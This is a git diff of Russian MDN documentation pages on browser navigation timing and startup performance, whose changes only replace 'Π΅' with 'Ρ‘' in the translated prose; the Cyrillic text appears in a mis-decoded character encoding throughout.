+ <p>Поиск Π΄ΠΎΠΌΠ΅Π½Π° Π·Π°Π²Π΅Ρ€ΡˆΡ‘Π½. Если ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ постоянноС соСдинСниС, ΠΈΠ»ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Π΄Π°Π½Π½Ρ‹Π΅, сохранённыС Π² локальном кэшС, Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ показатСля Π±ΡƒΠ΄Π΅Ρ‚ Ρ‚Π°ΠΊΠΈΠΌ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ <code>PerformanceTiming.fetchStart</code>.</p>
</td>
</tr>
<tr>
<td>{{domxref("PerformanceTiming.domainLookupStart","domainLookupStart")}}</td>
- <td>Начался поиск Π΄ΠΎΠΌΠ΅Π½Π°. Если ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ постоянноС соСдинСниС, ΠΈΠ»ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Π΄Π°Π½Π½Ρ‹Π΅, сохранСнныС Π² локальном кэшС, Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ показатСля Π±ΡƒΠ΄Π΅Ρ‚ Ρ‚Π°ΠΊΠΈΠΌ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ <code>PerformanceTiming.fetchStart</code>.</td>
+ <td>Начался поиск Π΄ΠΎΠΌΠ΅Π½Π°. Если ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ постоянноС соСдинСниС, ΠΈΠ»ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Π΄Π°Π½Π½Ρ‹Π΅, сохранённыС Π² локальном кэшС, Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ показатСля Π±ΡƒΠ΄Π΅Ρ‚ Ρ‚Π°ΠΊΠΈΠΌ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ <code>PerformanceTiming.fetchStart</code>.</td>
</tr>
<tr>
<td>{{domxref("PerformanceTiming.fetchStart","fetchStart")}}</td>
@@ -236,7 +236,7 @@ performance.getEntriesByType('frame').forEach((frame) =&gt; {
<h2 id="Navigation">Navigation</h2>
-<p>Когда ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚ Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅,<a href="/en-US/docs/Learn/Performance/Populating_the_page:_how_browsers_work"> Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠ΅Ρ‚Π°-Π΄Π°Π½Π½Ρ‹Π΅</a>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ. Для этого ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ Π°Π³Π΅Π½Ρ‚ ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΡ‚ ΡΠ΅Ρ€ΠΈΡŽ шагов, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ поиск записи DNS ({{glossary('DNS')}} lookup), TCP Ρ€ΡƒΠΊΠΎΠΏΠΎΠΆΠ°Ρ‚ΠΈΠ΅ {{glossary('TCP handshake')}}, ΠΈ установку бСзопасного соСдинСния (SSL negotiation). Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ установил соСдинСниС, происходит ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ΠΉ запрос Π΄Π°Π½Π½Ρ‹Ρ… Π½Π° сСрвСра. Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‚ ΠΏΠΎΡΡ‚ΡƒΠΏΠ°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ ΠΎΡ‚ сСрвСра, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ ΠΏΠ°Ρ€ΡΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅, строит DOM, CSSOM, создаСт Π΄Π΅Ρ€Π΅Π²ΡŒΡ Ρ€Π΅Π½Π΄Π΅Ρ€Π° (render trees), Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π² ΠΊΠΎΠ½Ρ†Π΅ ΠΊΠΎΠ½Ρ†ΠΎΠ² ΠΎΡ‚Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΡ‚ΡŒ страницу. Π’ Ρ‚ΠΎΡ‚ ΠΌΠΎΠΌΠ΅Π½Ρ‚, ΠΊΠΎΠ³Π΄Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ пСрСстаСт ΠΏΠ°Ρ€ΡΠΈΡ‚ΡŒ входящиС Π΄Π°Π½Π½Ρ‹Π΅, Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ Π² ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½ΡƒΡŽ ΡΡ‚Π°Π΄ΠΈΡŽ. Если Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ ΠΎΡ‚Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Π΅ ΠΊ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ рСсурсы (deferred scripts), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Ρ‹, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ парсит ΠΈΡ…. ПослС этого запускаСтся событиС <a href="/en-US/docs/">DOMContentLoaded</a>, послС ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π³ΠΎΡ‚ΠΎΠ²Π½ΠΎΡΡ‚ΡŒ страницы Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Π°. Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ пост-Π·Π°Π³Ρ€ΡƒΠ·ΠΎΡ‡Π½Ρ‹Π΅ Π·Π°Π΄Π°Ρ‡ΠΈ. ПослС этого Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ маркируСтся, ΠΊΠ°ΠΊ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹ΠΉ.</p>
+<p>Когда ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚ Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅,<a href="/en-US/docs/Learn/Performance/Populating_the_page:_how_browsers_work"> Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠ΅Ρ‚Π°-Π΄Π°Π½Π½Ρ‹Π΅</a>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ‡Π°Ρ‚ΡŒ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΡƒ. Для этого ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ Π°Π³Π΅Π½Ρ‚ ΠΏΡ€ΠΎΡ…ΠΎΠ΄ΠΈΡ‚ ΡΠ΅Ρ€ΠΈΡŽ шагов, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ поиск записи DNS ({{glossary('DNS')}} lookup), TCP Ρ€ΡƒΠΊΠΎΠΏΠΎΠΆΠ°Ρ‚ΠΈΠ΅ {{glossary('TCP handshake')}}, ΠΈ установку бСзопасного соСдинСния (SSL negotiation). Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ установил соСдинСниС, происходит ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ΠΉ запрос Π΄Π°Π½Π½Ρ‹Ρ… Π½Π° сСрвСра. Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‚ ΠΏΠΎΡΡ‚ΡƒΠΏΠ°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ ΠΎΡ‚ сСрвСра, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ ΠΏΠ°Ρ€ΡΠΈΡ‚ΡŒ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅, строит DOM, CSSOM, создаёт Π΄Π΅Ρ€Π΅Π²ΡŒΡ Ρ€Π΅Π½Π΄Π΅Ρ€Π° (render trees), Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π² ΠΊΠΎΠ½Ρ†Π΅ ΠΊΠΎΠ½Ρ†ΠΎΠ² ΠΎΡ‚Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΡ‚ΡŒ страницу. Π’ Ρ‚ΠΎΡ‚ ΠΌΠΎΠΌΠ΅Π½Ρ‚, ΠΊΠΎΠ³Π΄Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ пСрСстаёт ΠΏΠ°Ρ€ΡΠΈΡ‚ΡŒ входящиС Π΄Π°Π½Π½Ρ‹Π΅, Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ Π² ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½ΡƒΡŽ ΡΡ‚Π°Π΄ΠΈΡŽ. Если Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‚ ΠΎΡ‚Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Π΅ ΠΊ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠ΅ рСсурсы (deferred scripts), ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π½Ρ‹, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ парсит ΠΈΡ…. ПослС этого запускаСтся событиС <a href="/en-US/docs/">DOMContentLoaded</a>, послС ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ Π³ΠΎΡ‚ΠΎΠ²Π½ΠΎΡΡ‚ΡŒ страницы Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½Π°. Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ пост-Π·Π°Π³Ρ€ΡƒΠ·ΠΎΡ‡Π½Ρ‹Π΅ Π·Π°Π΄Π°Ρ‡ΠΈ. ПослС этого Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ маркируСтся, ΠΊΠ°ΠΊ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π½Ρ‹ΠΉ.</p>
<pre>let navigationTimings = performance.getEntriesByType('navigation');</pre>
@@ -274,7 +274,7 @@ performance.getEntriesByType('frame').forEach((frame) =&gt; {
<p><span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body">Если ΠΌΡ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΠΌ вычислСния, Ρ‚ΠΎ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ получится схоТим: </span></span></span><code>1 - (22.04 / 87.24) = 0.747</code>. Π’Π°ΠΉΠΌΠΈΠ½Π³ΠΈ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π½Π°ΠΌ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ Ρ‚Π°ΠΊΠΈΠ΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½ΠΎ.</p>
-<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ это Π΄Π°Π½Π½Ρ‹Π΅ для ΠΎΠ΄Π½ΠΎΠ³ΠΎ СдинствСнно Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, Π° Π½Π΅ для всСх рСсурсов вмСстС взятых. Π’ Ρ‚ΠΎ ΠΆΠ΅ врСмя, Π΄Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ, события-ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ ΠΈ Ρ‚Π°ΠΉΠΌΠΈΠ½Π³ΠΈ построСния DOM / CSSOM Π²Π»ΠΈΡΡŽΡ‚ Π½Π° ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ всСго прилоТСния, Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠ³ΠΎ рСсурса. ΠšΠ»ΠΈΠ΅Π½Ρ‚ΡΠΊΠΈΠ΅ прилоТСния, Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‰ΠΈΠ΅ΡΡ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, ΠΌΠΎΠ³ΡƒΡ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ быстрСС, Ссли Π΄Π°Π½Π½Ρ‹Π΅ объСмом 300ΠšΠ‘ Π²Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚Π΅ сТатыми Π΄ΠΎ 100ΠšΠ‘, Π½ΠΎ это всС Π½Π΅ Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ JavaScript, CSS ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΌΠ΅Π΄ΠΈΠ°-рСсурсы Π½Π΅ Ρ€Π°Π·Π΄ΡƒΠ²Π°ΡŽΡ‚ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΈ Π½Π΅ Π΄Π΅Π»Π°ΡŽΡ‚ Π΅Π³ΠΎ ΠΌΠ΅Π΄Π»Π΅Π½Π½Π΅Π΅. ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° уровня сТатия - это ΠΎΡ‡Π΅Π½ΡŒ Π²Π°ΠΆΠ½ΠΎ, Π½ΠΎ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅ Π²Π°ΠΆΠ½ΠΎ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ Π΄Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ парсинга рСсурсов ΠΈ врСмя ΠΌΠ΅ΠΆΠ΄Ρƒ Ρ‚Π΅ΠΌ, ΠΊΠ°ΠΊ Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ DOMContentLoaded ΠΈ DOM Π³ΠΎΡ‚ΠΎΠ² ΠΊ Ρ€Π°Π±ΠΎΡ‚Π΅. ΠœΠΎΠΆΠ΅Ρ‚ ΡΠ»ΡƒΡ‡ΠΈΡ‚ΡŒΡΡ Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎ врСмя парсинга скриптов ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° скриптами Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ² Π² основном ΠΏΠΎΡ‚ΠΎΠΊΠ΅ (main thread) ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ зависанию интСрфСйса.</p>
+<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ это Π΄Π°Π½Π½Ρ‹Π΅ для ΠΎΠ΄Π½ΠΎΠ³ΠΎ СдинствСнно Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, Π° Π½Π΅ для всСх рСсурсов вмСстС взятых. Π’ Ρ‚ΠΎ ΠΆΠ΅ врСмя, Π΄Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ, события-ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ ΠΈ Ρ‚Π°ΠΉΠΌΠΈΠ½Π³ΠΈ построСния DOM / CSSOM Π²Π»ΠΈΡΡŽΡ‚ Π½Π° ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ Π·Π°Π³Ρ€ΡƒΠ·ΠΊΠΈ всСго прилоТСния, Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄Π½ΠΎΠ³ΠΎ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠ³ΠΎ рСсурса. ΠšΠ»ΠΈΠ΅Π½Ρ‚ΡΠΊΠΈΠ΅ прилоТСния, Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‰ΠΈΠ΅ΡΡ Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅, ΠΌΠΎΠ³ΡƒΡ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ быстрСС, Ссли Π΄Π°Π½Π½Ρ‹Π΅ ΠΎΠ±ΡŠΡ‘ΠΌΠΎΠΌ 300ΠšΠ‘ Π²Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚Π΅ сТатыми Π΄ΠΎ 100ΠšΠ‘, Π½ΠΎ это всС Π½Π΅ Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ JavaScript, CSS ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΌΠ΅Π΄ΠΈΠ°-рСсурсы Π½Π΅ Ρ€Π°Π·Π΄ΡƒΠ²Π°ΡŽΡ‚ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΈ Π½Π΅ Π΄Π΅Π»Π°ΡŽΡ‚ Π΅Π³ΠΎ ΠΌΠ΅Π΄Π»Π΅Π½Π½Π΅Π΅. ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° уровня сТатия - это ΠΎΡ‡Π΅Π½ΡŒ Π²Π°ΠΆΠ½ΠΎ, Π½ΠΎ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅ Π²Π°ΠΆΠ½ΠΎ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡ‚ΡŒ Π΄Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ парсинга рСсурсов ΠΈ врСмя ΠΌΠ΅ΠΆΠ΄Ρƒ Ρ‚Π΅ΠΌ, ΠΊΠ°ΠΊ Π·Π°Π²Π΅Ρ€ΡˆΡ‘Π½ DOMContentLoaded ΠΈ DOM Π³ΠΎΡ‚ΠΎΠ² ΠΊ Ρ€Π°Π±ΠΎΡ‚Π΅. ΠœΠΎΠΆΠ΅Ρ‚ ΡΠ»ΡƒΡ‡ΠΈΡ‚ΡŒΡΡ Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎ врСмя парсинга скриптов ΠΈ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠ° скриптами Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ΠΎΠ² Π² основном ΠΏΠΎΡ‚ΠΎΠΊΠ΅ (main thread) ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ зависанию интСрфСйса.</p>
<h3 id="ВрСмя_запроса">ВрСмя запроса</h3>
@@ -298,7 +298,7 @@ performance.getEntriesByType('frame').forEach((frame) =&gt; {
<p>Π’ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ Π΄Π°Π½Π½Ρ‹Ρ… Π΅ΡΡ‚ΡŒ ΠΏΠΎΠ»Π΅ Π”Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ (<code>Duration</code>). Π”Π»ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ - это Ρ€Π°Π·Π½ΠΈΡ†Π° ΠΌΠ΅ΠΆΠ΄Ρƒ <a href="/en-US/docs/Web/API/PerformanceNavigationTiming/loadEventEnd">PerformanceNavigationTiming.loadEventEnd</a> ΠΈ <a href="/en-US/docs/Web/API/PerformanceEntry/startTime">PerformanceEntry.startTime</a> properties.</p>
-<p>Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡ PerformanceNavigationTiming, ΠΊΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π΄Π°Π΅Ρ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊΠΎΠΉ Ρ‚ΠΈΠΏ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ Π²Ρ‹ измСряСтС, возвращая <code>navigate</code>, <code>reload</code>, <code>back_forward</code> ΠΈΠ»ΠΈ <code>prerender</code>.</p>
+<p>Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡ PerformanceNavigationTiming, ΠΊΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, Π΄Π°Ρ‘Ρ‚ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊΠΎΠΉ Ρ‚ΠΈΠΏ Π½Π°Π²ΠΈΠ³Π°Ρ†ΠΈΠΈ Π²Ρ‹ измСряСтС, возвращая <code>navigate</code>, <code>reload</code>, <code>back_forward</code> ΠΈΠ»ΠΈ <code>prerender</code>.</p>
<h2 id="Resource">Resource</h2>
diff --git a/files/ru/web/performance/optimizing_startup_performance/index.html b/files/ru/web/performance/optimizing_startup_performance/index.html
index 6da93e1660..3358f1b8f4 100644
--- a/files/ru/web/performance/optimizing_startup_performance/index.html
+++ b/files/ru/web/performance/optimizing_startup_performance/index.html
@@ -4,7 +4,7 @@ slug: Web/Performance/Optimizing_startup_performance
translation_of: Web/Performance/Optimizing_startup_performance
---
<div class="summary">
-<p>Часто упускаСмый ΠΈΠ· Π²ΠΈΠ΄Π° аспСкт Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ - это ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒ запуска прилоТСния. Π”Π°ΠΆΠ΅ Ссли Π²Ρ‹ ΠΏΡ€ΠΈΠΊΠ»Π°Π΄Ρ‹Π²Π°Π΅Ρ‚Π΅ ΠΌΠ½ΠΎΠ³ΠΎ усилий ΠΊ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ Ρ€Π°Π±ΠΎΡ‚Ρ‹ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ, ΠΈΠΌΠ΅Π½Π½ΠΎ этот этап ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΎΠΏΡƒΡ‰Π΅Π½. Как Π΄ΠΎΠ»Π³ΠΎ запускаСтся вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅? БоздаСтся Π»ΠΈ Π²ΠΏΠ΅Ρ‡Π°Ρ‚Π»Π΅Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ устройство зависаСт, ΠΏΠΎΠΊΠ° ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ запускаСтся? ВсС эти симптомы Π·Π°ΡΡ‚Π°Π²Π»ΡΡŽΡ‚ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ сломано ΠΈΠ»ΠΈ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ ΠΈΠ΄Π΅Ρ‚ Π½Π΅ Ρ‚Π°ΠΊ. ВсСгда Π±ΡƒΠ΄Π΅Ρ‚ Π½Π΅ лишним ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ вашС ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ запускаСтся ΠΏΠ»Π°Π²Π½ΠΎ. Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ подСлимся Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌΠΈ подсказками, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠΌΠΎΠ³ΡƒΡ‚ Π²Π°ΠΌ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ запуск прилоТСния, Π²Π½Π΅ зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, ΠΏΠΈΡˆΠ΅Ρ‚Π΅ Π»ΠΈ Π²Ρ‹ Π΅Π³ΠΎ с нуля ΠΈΠ»ΠΈ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚Π΅ Π½Π°Π΄ ΡƒΠΆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ.</p>
